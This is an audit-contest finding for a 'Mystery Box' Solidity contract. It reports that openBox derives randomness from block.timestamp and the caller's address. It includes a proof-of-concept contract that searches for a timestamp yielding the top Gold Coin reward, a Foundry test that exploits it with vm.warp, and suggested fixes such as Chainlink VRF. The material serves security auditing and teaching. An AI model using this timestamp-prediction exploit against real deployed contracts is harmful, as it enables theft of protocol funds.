Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Manipulation of `block.timestamp` to maximize the chance of getting `Gold Coin` in `openBox`

Summary

By exploiting a calculated block.timestamp during the call to openBox, an attacker could significantly increase the chances of obtaining a Gold Coin. This manipulation undermines the randomness of the openBox function, leading to potential losses for the protocol.

https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L47

Vulnerability Details

In openBox function, a random value is used along with the protocol designed probabilistic model to determine the reward tier. This random value was generated through uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;.

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
// Generate a random number between 0 and 99
<@@>! uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}

A caller address and block.timestamp are used in this random value generation. Since a caller address is a known value for an attacker, this causes the generated value is not reliably randomized and attacker could calculate the right block.timestamp that will yield a value at exactly 99, which is the condition to get highest reward tier of Gold Coin

Proof of Concept:

  1. Create a separate contract to find the right timestamp for a known address that will generate targeted random value of 99

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RandomValueFinder {
address private attacker;
constructor(address _attacker) {
attacker = _attacker;
}
function _calculateRandomValue(uint256 timestamp) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(timestamp, attacker))) % 100;
}
function findTimestampForRandomValue99() public view returns (uint256) {
require(msg.sender == attacker, "Restricted attack call");
// Check a range of timestamps
for (uint256 i = block.timestamp; i < block.timestamp + 3600; i++) {
if (_calculateRandomValue(i) == 99) {
return i; // Found a suitable timestamp
}
}
revert("No suitable timestamp found");
}
}

2.In test/TestMysteryBox.t.sol, make the adjustment in the setUp and add new test test_audit_manipulateBlockTimestampAtOpenBox

function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
+ // add this since MysteryBox needs fund of minimum 0.1 ether upon deployment
+ vm.deal(owner, 1 ether);
vm.prank(owner);
- mysteryBox = new MysteryBox();
+ mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function test_audit_manipulateBlockTimestampAtOpenBox() public {
address attacker = makeAddr("Attacker");
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
// step1: buy a mystery box
mysteryBox.buyBox{value: 0.1 ether}();
// step 2: find the timestamp that will generate random value that is exactly at 99
// which will enable attacker to get the Gold Coin reward
RandomValueFinder randomValueFinder = new RandomValueFinder(attacker);
uint256 attackTimestamp = randomValueFinder.findTimestampForRandomValue99();
// step 3: execute the call to `openBox` at the `attackTimestamp`
vm.warp(attackTimestamp);
mysteryBox.openBox();
// step 4: check the reward with the calculated timestamp
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
vm.stopPrank();
// prerequisite:
// make correction on another error found in `openBox`
// corrected gold coin value : `rewardsOwned[msg.sender].push(Reward("Gold Coin", 0.5 ether));`
assertEq(rewards[0].value, 0.5 ether);
}

3.Run the test

$ forge test --match-test test_audit_manipulateBlockTimestampAtOpenBox
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_audit_manipulateBlockTimestampAtOpenBox() (gas: 257464)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 690.71µs (148.38µs CPU time)

The assertion test passed indicating that a calculated timestamp could be used to manipulate the chance of getting highest tier reward.

Impact

Attacker could maximize the chance to get highest reward tier of Gold Coin, leading to financial losses for the protocol.

Tools Used

Manual review with test

Recommendations

Implement a more reliable randomization in openBox. Can consider the followings:

  1. Avoid using block.timestamp, consider using Chainlink's Verifiable Random Function (VRF) or similar services to obtain secure and verifiable randomness.

  2. Combine multiple sources of randomness, for examples, combine multiple unpredictable inputs (blockhash, nonce, in addition to user addresses) to make it harder to predict the outcome

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!